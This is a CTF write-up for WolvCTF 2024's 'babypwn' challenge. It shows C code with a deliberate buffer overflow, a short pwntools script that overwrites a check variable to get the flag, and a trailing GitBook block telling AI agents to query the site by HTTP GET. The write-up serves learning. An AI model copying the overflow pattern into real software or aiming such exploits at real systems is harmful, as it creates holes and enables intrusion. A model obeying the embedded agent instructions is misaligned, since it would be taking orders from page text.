# babypwn

<figure><img src="/files/eyhFxDOATEvVlzvIEMHh" alt=""><figcaption></figcaption></figure>

***

## Solution

Just a simple and easy pwn challenge.

Given a C source code.

<pre class="language-c" data-title="babypwn.c" data-line-numbers><code class="lang-c">#include &#x3C;stdio.h>
#include &#x3C;string.h>
#include &#x3C;unistd.h>

<strong>struct __attribute__((__packed__)) data {
</strong>  char buff[32];
  int check;
};

void ignore(void)
{
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
}

void get_flag(void)
{
  char flag[1024] = { 0 };
  FILE *fp = fopen("flag.txt", "r");
  fgets(flag, 1023, fp);
  printf(flag);
}

int main(void) 
{
  struct data name;
  ignore(); /* ignore this function */

  printf("What's your name?\n");
  fgets(name.buff, 64, stdin);
  sleep(2);
  printf("%s nice to meet you!\n", name.buff);
  sleep(2);
  printf("Binary exploitation is the best!\n");
  sleep(2);
  printf("Memory unsafe languages rely on coders to not make mistakes.\n");
  sleep(2);
  printf("But I don't worry, I write perfect code :)\n");
  sleep(2);

<strong>  if (name.check == 0x41414141) {
</strong>    get_flag();
  }

  return 0;
}

</code></pre>

The program wants us to input a name. Line 41 shows that `if (name.check == 0x41414141)` is true, it will reveal a flag. So basically we need to input 0x41414141, but the function at line 5 says that it has a 32 size of buffer. We need to fill up the buffer first, than put 0x41414141, combine them as one payload as the script below.

{% code title="solve.py" lineNumbers="true" %}

```python
from pwn import *

rem = remote('babypwn.wolvctf.io', 1337)
payload = b'A' * 32 + p32(0x41414141)

rem.sendline(payload)

print(rem.recvall().decode())
```

{% endcode %}

<figure><img src="/files/1voaRpHUMIJ8rLx8XPzQ" alt=""><figcaption></figcaption></figure>

***

## Flag

wctf{pwn\_1s\_th3\_best\_Categ0ry!}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://n3r.gitbook.io/6e3372/ctf-writeups/wolvctf-2024/pwn/babypwn.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
